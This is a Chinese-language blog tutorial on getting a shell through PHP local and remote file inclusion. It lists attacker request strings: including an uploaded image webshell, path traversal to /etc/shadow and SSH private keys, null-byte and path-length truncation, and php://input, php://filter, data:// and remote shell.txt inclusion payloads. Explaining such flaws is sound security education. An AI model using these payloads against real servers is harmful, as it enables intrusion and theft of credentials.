php文件包含getshell

时间:2024-05-23 22:11:31

今天面试被问到这个了,已经是很久以前用到了,脑子一时短路,一点也想不起来,今天想捋一遍


参考

文件包含是应用程序(在这里就是指php函数引入文件时)未对要引用的文件做合理的校验,从而恶意的使应用程序操作了意料之外的文件,将会导致文件泄露,更有甚者会导致恶意代码的注入。


先介绍一下本地文件包含LFI(Local File Include)

举个最简单的例子,新建一个php文件,命名为index.php,写下如下代码。

php文件包含getshell

在他的上级目录中有一个info.php文件,内容如下:

php文件包含getshell

打开网页,运行:http://127.0.0.1/index.php?func=info.php

出现如下页面

php文件包含getshell

假如我是攻击者,我已经上传了一张图片马,一直找不到合适的环境来运行图片马,此时就可以利用此漏洞。

在此我上传了一个名为1.gif的图片马,访问此链接:http://127.0.0.1/index.php?func=1.gif

或者直接菜刀连接,我的图片马密码为cmd

php文件包含getshell

连接成功,这里我就不放图了。这是根据文件包含来getshell的一种方法。

php包含外部文件的函数除了include()之外,还有include_once()、require()、require_once()

加once的区别就不说了,include()函数在一个文件存在错误时,程序不会中断执行,只会弹出一个警告,如下图

php文件包含getshell

require():一般放在文件的最前面,程序在执行前就会先导入要引用的文件。但当文件存在错误时,执行就会中断。并返回一个致命错误。

php文件包含getshell

这里报错有可能会爆出绝对路径,有用的话可以记录一下。

如果自己不能上传木马,那也可以利用此漏洞查看敏感信息

获取web目录或者其他的配置文件

xxx.php?func=../../../httpd.conf

获取上传的附件

xxx.php?func=../../../xx.file

读取session文件

xxx.php?func=../../../tmp/sess_tnrdo

若是文件包含有限制,比如只能包含htm类的文件

php文件包含getshell

正常情况下的使用是在浏览器中输入:http://127.0.0.1/index.php?func=info   (我有一个名为info.htm的文件)

但如果我们还是想包含php文件,就要使用截断来包含

使用%00截断(需要magic_quotes_gpc=off且PHP<5.3.4)

xxx.php?func=../../info.php%00

路径长度截断(PHP<5.2.8 Linux文件名长于4096,windows 大于256)

xxx.php?func=../../../etc/pwd./[...]././

点号截断

xxx.php?func=../../boot.ini/...[...]...

敏感文件:

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_rsa.keystore

/root/.ssh/known_hosts

/etc/shadow

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]*(文件标识符)

/proc/mounts

/proc/config.gz






接下来说远程文件包含RFI(Remote File Inclusion),远程文件包含有三大条件:

1、All_url_fopen=On(默认开启)

2、Allow_url_include=On(默认关闭)

3、被包含的文件遍历时没有目录限制


远程服务器存放一个不被服务器解析的文件

访问:http://www.xx.com/index.php?func=http://www.xx.com/1.txt


利用php流input

xxx.php?func=php://input


利用php流filter

xxx.php?func=php://filter/convert/resource=index.php


利用data URLs

xxx.php?func=data://text/plain;base64,URL(可以远程包含一句话木马链接)


利用xss执行任意代码

xxx.php?func=http://127.0.0.1/path/xss.php?xss=phpcode


有限制的远程文件包含

基础代码与本地文件包含相同


xxx.php?func=http://www.baidu.com/shell

xxx.php?func=http://www.baidu.com/shell.txt?

xxx.php?func=http://www.baidu.com/shell.txt%23

xxx.php?func=\evilshare\shell.php